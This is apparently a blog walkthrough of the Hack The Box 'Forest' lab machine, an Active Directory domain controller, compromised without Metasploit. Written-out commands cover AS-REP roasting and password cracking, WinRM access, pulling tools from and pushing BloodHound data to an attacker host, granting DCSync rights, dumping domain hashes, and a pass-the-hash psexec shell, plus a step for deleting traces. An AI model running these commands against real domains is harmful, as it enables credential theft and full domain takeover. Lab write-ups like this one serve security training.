Forest – Hack The Box Walkthrough Without Metasploit

This is a walkthrough of the Forest box from Hack The Box, done without using Metasploit.

  1. Reconaissance

The nmapAutomator tool was taking a really long time to complete for me, so I decided to go back to a normal nmap scan and see what sort of results I could get:

root@kali:/home/churr0s/Documents/htb/forest# nmap -T4 -p- -A -Pn -oA initial_scan 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-01 20:58 PST
Nmap scan report for 10.10.10.161
Host is up (0.12s latency).
Not shown: 65511 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-12-02 05:19:29Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49703/tcp open  msrpc        Microsoft Windows RPC
49941/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=12/1%Time=5FC721C9%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/1%OT=53%CT=1%CU=43800%PV=Y%DS=2%DC=T%G=Y%TM=5FC722E
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=103%TI=RD%CI=RD%II=I%TS=A)S
OS:EQ(SP=101%GCD=1%ISR=103%TI=I%II=I%SS=S%TS=A)SEQ(SP=100%GCD=1%ISR=102%TI=
OS:I%CI=I%II=I%SS=S%TS=A)SEQ(SP=101%GCD=1%ISR=103%CI=RD%TS=A)OPS(O1=M54DNW8
OS:ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54
OS:DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T
OS:=80%W=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T
OS:2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O
OS:%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y
OS:%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%R
OS:D=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h49m00s, deviation: 4h37m08s, median: 8m59s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2020-12-01T21:22:00-08:00
| smb-security-mode: 
|   account_used: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-12-02T05:22:01
|_  start_date: 2020-12-02T05:02:57

TRACEROUTE (using port 995/tcp)
HOP RTT      ADDRESS
1   83.48 ms 10.10.14.1
2   83.72 ms 10.10.10.161

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1008.40 seconds

  • -T4 = Sets the timing for scanning. The higher the number between 0-5 means it’s faster, however it’s also less accurate. T4 is the default
  • -p- = Port scan all ports
  • -A = Enables OS detection, version detection, script scanning, and traceroute
  • -Pn= Disable host discovery. Port scan only (I didn’t have a reason for this other than I just copied this whole nmap string from a previous scan and it just happened to include the -Pn flag
  • -oA intial_scan = Output to a file I called “initial_scan”
  • 10.10.10.161 = the victim box

 

We have 20 ports open:

  • Ports 53: running DNS

Notes about what the nmap scan returned:

  • We are most likely dealing with an Active Directory box because Kerberos and LDAP are running
  • We see a domain: htb.local
  • We see a hostname: FOREST.htb.local
  • Operating system: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
  • We can query LDAP for any useful information
  • WSMan and WinRM open. That means if we can get any credentials from LDAP or SMB, we can use them to remote into the victim box

I didn’t get anything too useful with LDAP.

Neither smbmap nor smbclient allowed me to list file shares without a password:

But then I saw an article about using rpcclient and since that service is running as well, I will try to see if I have better luck. According to the article, “the rpcclient program was originally designed for troubleshooting and debugging Windows and Linux Samba daemon configurations, but we can leverage its capabilities in a penetration test (or even a vulnerability assessment or audit) to gather some awesome info…use rpcclient to interrogate target Windows machines across NULL SMB sessions. A NULL SMB session has a blank user name and a blank password.”

Follow THIS article for more info on the commands you can use. “My next task was to try and enumerate user and group information from the domain controllers with “rpcclient” only available to me. I quickly determined by using the “man” page that rpcclient could indeed perform an anonymous bind as follows…whereby 10.10.10.10 was the chosen address of the domain controller I could anonymously bind to. After that command was run, “rpcclient” will give you the most excellent “rpcclient> ” prompt.”

rpcclient -U "" -N 10.10.10.161

And then you can use the enumdomusers command to get a list of domain users:

Take the above usernames (I just used the main ones, not the weird ones) and put them in a file called usernames.txt

root@kali:home/churr0s/Documents/htb/forest# cat usernames.txt
Administrator
DefaultAccount
krbtgt
sebastien
lucinda
svc-alfresco
andy
mark
santi
rc
ln

Next we can use the Impacket tool GetNPUsers.py to try to get a hash for each user. I find one for the svc-alfresco account:

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request

The way GetNPUsers works is that it checks to see if Kerberos pre-authentication is disabled on any of the accounts in a domain. If they are, GetNPUsers will send a dummy request for authentication. The Key Distribution Center (KDC) will then return a TGT that is encrypted with the user’s password. Once you have that, you can use a password cracker to brute force the user’s password which is in the encrypted TGT.

Now that we got a hash for the svc-alfresco account, let’s try to crack the password. Put the full hash into a text file:

Now use John the Ripper to crack the password:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

The “rockyou.txt” wordlist was successful and we were able to get a password of s3rvice.

 

2. Initial Foothold

Now that we have username and password, we can use those credentials to try to get an initial shell on the victim box. Because the WinRM and WSMan services are running, we can use the script Evil-WinRM:

evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'

We get a shell. If we run a whoami we can see that we are running as svc-alfresco and we can actually grab the flag for this user:

 

3. Privilege Escalation

We will need to use privilege escalation to get to the administrator account. We can enumerate a bit more info first:
#enumerate users on the domain
net user /domain
#enumerate the user account we're running as
net user svc-alfresco

We can see that svc-alfresco is part of the Service Accounts group. We can use bloodhound to see if there are any paths that are exploitable.

Download Bloodhound. Copy the SharpHound.exe over to whatever directory you want to work out of, and then start a python server in that directory:

python -m SimpleHTTPServer 5555

Now back on the victim box, download SharpHound.exe over to it:

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:5555/SharpHound.exe', 'C:\Users\svc-alfresco\Desktop\SharpHound.exe')

Then run the program. Doing so will create two files. We will need to transfer the ZIP file to our attacker box:

./Sharphound.exe

To transfer the file to our attacker box, spin up a fileshare server in the directory you want to download the file into. Add smb2support and a username and password to make the share more secure:

smbserver.py share . -smb2support -username df -password df

Then back on your victim box send the file over:

net use \\10.10.14.3 \share /u:df df
copy <filename.zip> \\10.10.14.3\share\

Then after the file is transferred, cover your tracks by deleting the zip off of the victim box and end your fileshare session:

del <filename.zip>
net use /d \\10.10.14.3]share

Install Bloodhound

apt-get install bloodhound

  • Run neo4j console, which opens the neo4j web interface
  • Log in at http://127.0.0.1:7474/ with username/password “neo4j”/”neo4j”. You’ll have to change your password on login (make sure they are longer than 2 characters as mine didn’t work with that. Close the window (but don’t exit neo4j in the console)

  • Run bloodhound from a new terminal window and log in with the creds you just set:

bloodhound

Now drag your zip file into blood hound and set the node to be the svc-alfresco user.

Then right-click the user and “mark user as owned”.

In the queries tab, select the pre-built query “shortest path from owned principals”

You will get a result that shows a path that goes from svc-alfresco to the domain. Along that path we can see what groups svc-alfresco is a member of, and what group THAT account is, and so on. From our results, we can see that:

  1. svc-alfresco is a member of the group Service Accounts
  2. Service Accounts is a member of the group Privileged IT Accounts
  3. Privileged IT Accounts is a member of the group Account Operators
  4. Account Operators group has GenericAll permissions on the Exchange Windows Permissions group
  5. Exchange Windows Permissions group has WriteDacl permissions on the domain

A few notes on what the above findings mean:

  1. The Account Operators group grants limited account creation privileges to a user. That means svc-alfresco has the ability to create other users on the domain
  2. The Account Operators group has GenericAll permissions on the Exchange Windows Permissions group
    1. which means members have full control of the group
    2. which means members can directly modify group membership
    3. because svc-alfresco is part of the Account Operators group, that means it can modify the permissions of the Exchange Windows Permissions group
  3. Exchange Windows Permission group has WriteDacl permission on the domain HTB.local
    1. members can modify the DACL (Discretionary Access Control list) on the domain
    2. take advantage of this to grant yourself DcSync privileges because this will give you the right to perform domain replication and dump all the password hashes from the domain

Now knowing the above, here is the strategy for privilege escalation:

  1. Have svc-alfresco create a new user on the domain (since it has Account Operators privileges to do so)
  2. Add this new user to the Exchange Windows Permission group (since svc-alfresco has GeneralAll permissions on the Exchange Windows Permission group)
  3. Give the new user DcSync privileges (since the user is part of Exchange Windows Permissions group, which has WriteDacl permission on the htb.local domain)
  4. Perform a Pass the Hash attack to get access to the administrator’s account

 

STEPS IN ACTION

Create a user “churr0s” on the domain, with a password of “password”

net user churr0s password /add /domain

Confirm the user was created

net user /domain

Add the new user, churr0s, to the Exchange Windows Permissions group

net group "Exchange Windows Permissions" /add churr0s

Confirm the user was added to the group

net user churr0s

Give the user DCSync privileges. We will need to use PowerView for this. Download Powerview and set up a python http server in the directory it resides in:

python -m SimpleHTTPServer 5555

Download PowerView.ps1 onto the victim box:

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:5555/PowerView.ps1', 'C:\Users\svc-alfresco\Desktop\PowerView.ps1')

Run PowerView

python -m SimpleHTTPServer 5555

User the Add-DomainObjectAcl function in PowerView to give the user DCSync privileges (the $cred command didnt show up on my screenshot but see the commands pasted below. It should be the three separate commands you run):

$pass = convertto-securestring 'password' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('htb\churr0s', $pass)

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity churr0s -Rights DCSync

Now that the user has DCSync privileges, let’s go back to the attacker box and use the secretsdump Impacket script to dump the password hashes of all the users on the domain

secretsdump.py htb.local/churr0s:password@10.10.10.161

As seen above, we got password hashes for all the users (I cropped the picture to only show the first few) including the Administrator password!

Let’s use psexec from Impacket to perform a pass the hash attack with the Administrator hash

./psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161

A shell was successfully generated! Grab the root flag:

 

Leave a Reply

Your email address will not be published. Required fields are marked *